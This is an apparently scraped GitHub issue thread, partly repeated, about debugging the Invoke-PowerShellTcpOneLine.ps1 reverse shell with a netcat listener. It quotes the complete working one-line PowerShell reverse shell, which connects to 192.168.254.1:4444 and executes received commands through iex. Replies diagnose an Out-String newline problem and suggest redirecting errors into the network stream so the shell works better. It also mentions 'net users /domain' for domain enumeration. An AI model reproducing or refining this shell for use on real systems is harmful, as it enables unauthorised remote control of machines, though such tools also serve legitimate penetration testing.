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The "Invoke-PowerShellTcpOneLine.ps1" reverse shell prints new lines between successive lines for, e.g. the ls command. I'm using netcat as the listener to which the shell connects.
I've looked at the code, and I can't seem to locate the issue:
Furthermore, using commands like net users /domain only returns the "The request will be processed at a domain controller for domain..." intermediary response, and not the full response from the domain controller?
The text was updated successfully, but these errors were encountered:
The newline is because of Out-String. As PowerShellv2 (or even v5) does not support a -NoNewLine parameter, I can't see of any easy way to fix it without increasing the length of the reverse shell.
For the error part, this script does not send error on the network stream. You cannot see the complete message because of this. You may like to use Invoke-PowerShellTcp to resolve this problem.
Thank you - but, ls | out-string in PowerShelll gives the expected output without newlines in-between lines.
Indeed, out-string adds a trailing newline to the overall output. However, in the output from the reverse shell, a newline is inserted between every pair of successive lines?
For the error part, this script does not send error on the network stream. You cannot see the complete message because of this. You may like to use Invoke-PowerShellTcp to resolve this problem.
I found a fix for this, Im getting errors back in the network stream. Change line 76 to: $result = (Invoke-Expression -Command $response) 2>&1 | Out-String
The "Invoke-PowerShellTcpOneLine.ps1" reverse shell prints new lines between successive lines for, e.g. the
ls
command. I'm using netcat as the listener to which the shell connects.I've looked at the code, and I can't seem to locate the issue:
#$client = New-Object System.Net.Sockets.TCPClient('192.168.254.1',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
How could it be fixed?
Furthermore, using commands like
net users /domain
only returns the "The request will be processed at a domain controller for domain..." intermediary response, and not the full response from the domain controller?The text was updated successfully, but these errors were encountered: